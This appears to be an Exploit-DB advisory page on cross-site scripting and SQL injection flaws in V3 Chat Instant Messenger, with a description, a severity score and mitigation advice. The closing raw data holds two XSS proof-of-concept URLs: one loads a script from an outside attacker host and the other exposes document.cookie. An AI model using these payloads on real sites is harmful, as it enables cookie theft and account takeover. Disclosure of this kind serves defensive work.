V3 Chat Instant Messenger Cross-Site Scripting and SQL-Injection Vulnerabilities

vendor:

V3 Chat Instant Messenger

by:

7.5

CVSS

HIGH

Cross-Site Scripting (XSS) and SQL-Injection

79 (Cross-Site Scripting) and 89 (SQL-Injection)

CWE

Product Name: V3 Chat Instant Messenger

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

V3 Chat Instant Messenger Cross-Site Scripting and SQL-Injection Vulnerabilities

The V3 Chat Instant Messenger is vulnerable to multiple cross-site scripting and SQL-injection vulnerabilities. These vulnerabilities occur due to a lack of proper input sanitization. An attacker can exploit these vulnerabilities to execute arbitrary script code in the browser of a victim user, potentially leading to the theft of authentication credentials and other attacks. Additionally, successful exploitation can result in the compromise of the application, unauthorized access or modification of data, and exploitation of underlying database vulnerabilities.

Mitigation:

To mitigate these vulnerabilities, it is recommended to implement proper input validation and sanitization techniques to prevent malicious user input from being executed. Additionally, using prepared statements or parameterized queries can help prevent SQL-injection attacks. Regularly updating the V3 Chat Instant Messenger to the latest version and applying security patches can also help protect against these vulnerabilities.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/18543/info
   
V3 Chat Instant Messenger is prone to multiple cross-site scripting and SQL-injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. 
   
An attacker may leverage these issues to have arbitrary script code execute in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. 
   
A successful exploit could also allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database implementation.
   
http://www.example.com/messenger/search.php?action=update&membername=&action=search&site_id=<IMG%20"""><SCRIPT%20SRC=http://youfucktard.com/xss.js></SCRIPT>"> 

http://www.example.com/messenger/search.php?membername=luny666&memberid=287&contact_id=1&contact_name=<IMG%20SRC=javascript:alert(document.cookie)>&site_id=&add=1&s=1 &r=0&min_age=16&max_age=100&location=&gender1=&gender2=